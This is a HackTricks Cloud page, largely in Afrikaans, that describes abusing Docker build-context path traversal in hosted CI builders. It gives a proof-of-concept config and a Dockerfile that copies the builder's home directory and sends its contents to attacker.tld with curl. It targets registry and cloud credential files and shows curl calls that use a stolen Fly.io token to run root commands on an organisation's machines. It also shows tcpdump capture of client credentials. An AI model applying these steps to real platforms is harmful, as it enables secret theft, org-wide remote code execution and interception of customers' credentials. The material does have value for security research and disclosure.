Misbruik van Docker Build Context in gehoste builders (Path Traversal, Exfil, and Cloud Pivot)
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
TL;DR
As ân CI/CD-platform of gehoste builder contributors toelaat om die Docker build context-path en Dockerfile-path te spesifiseer, kan jy dikwels die context op ân ouer gids stel (bv. â..â) en daarmee gasheer-lĂȘers deel van die build context maak. Dan kan ân kwaadwillige Dockerfile COPY gebruik om sekretes wat in die builder-gebruiker se tuisgids gevind word (bv. ~/.docker/config.json) uit te voer. Gestole registry tokens kan ook werk teen die provider se control-plane APIs, wat org-wye RCE moontlik maak.
Aanvalsoppervlak
Baie gehoste builder/registry-dienste doen ongeveer dit wanneer hulle user-submitted images bou:
- Lees ân repo-level config wat insluit:
- build context path (gestuur na die Docker daemon)
- Dockerfile path relatief tot daardie context
- Kopieer die aangeduide build context directory en die Dockerfile na die Docker daemon
- Bou die image en hardloop dit as ân gehoste diens
As die platform nie die build context kanoniseer en beperk nie, kan ân gebruiker dit op ân ligging buite die repository stel (path traversal), wat veroorsaak dat arbitrĂȘre gasheer-lĂȘers wat deur die build-gebruiker gelees kan word deel van die build context word en beskikbaar is vir COPY in die Dockerfile.
Praktiese beperkings wat algemeen waargeneem word:
- Die Dockerfile moet binne die gekose context-path wees en sy pad moet vooraf bekend wees.
- Die build-gebruiker moet lees-toegang hĂȘ tot lĂȘers wat in die context ingesluit is; spesiale device-lĂȘers kan die copy breek.
PoC: Path traversal via Docker build context
Example malicious server config declaring a Dockerfile within the parent directory context:
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
Notes:
- Die gebruik van â..â verwys dikwels na die builder-gebruiker se tuisgids (bv. /home/builder), wat tipies sensitiewe lĂȘers bevat.
- Plaas jou Dockerfile onder die repo se gidsnaam (bv. repo âtestâ â test/Dockerfile) sodat dit binne die uitgebreide ouer-konteks bly.
PoC: Dockerfile om die gasheer-konteks in te neem en te eksfiltreer
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builderâs $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
Teikens wat algemeen van $HOME teruggevind word:
- ~/.docker/config.json (registry auths/tokens)
- Ander cloud/CLI caches en configs (bv. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Wenk: Alhoewel daar ân .dockerignore in die repository is, bepaal die kwesbare platform-kant konteksseleksie steeds wat na die daemon gestuur word. As die platform die gekose pad na die daemon kopieer voordat dit jou repo se .dockerignore evalueer, kan host-lĂȘers steeds blootgestel word.
Cloud pivot with overprivileged tokens (voorbeeld: Fly.io Machines API)
Sommige platforms gee ân enkele bearer token wat vir beide die container registry en die control-plane API gebruik kan word. As jy ân registry token exfiltrate, probeer dit teen die provider API.
Voorbeeld API-aanroepe teen Fly.io Machines API wat die gestole token uit ~/.docker/config.json gebruik:
Lys apps in ân org:
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
Voer ân kommando as root binne enige masjien van ân app uit:
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
Uitkoms: organisasie-wyd remote code execution oor alle gehoste apps waar die token voldoende bevoegdhede het.
Diefstal van geheime vanaf gekompromitteerde gehoste dienste
Met exec/RCE op gehoste bedieners kan jy deur kliënte verskafde geheime (API keys, tokens) insamel of prompt-injection-aanvalle uitvoer. Voorbeeld: installeer tcpdump en vang HTTP-verkeer op port 8080 om inkomende kredensiale te onttrek.
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
Gevangde versoeke bevat dikwels client credentials in headers, bodies, of query params.
Verwysings
- Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft
- Fly.io Machines API
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

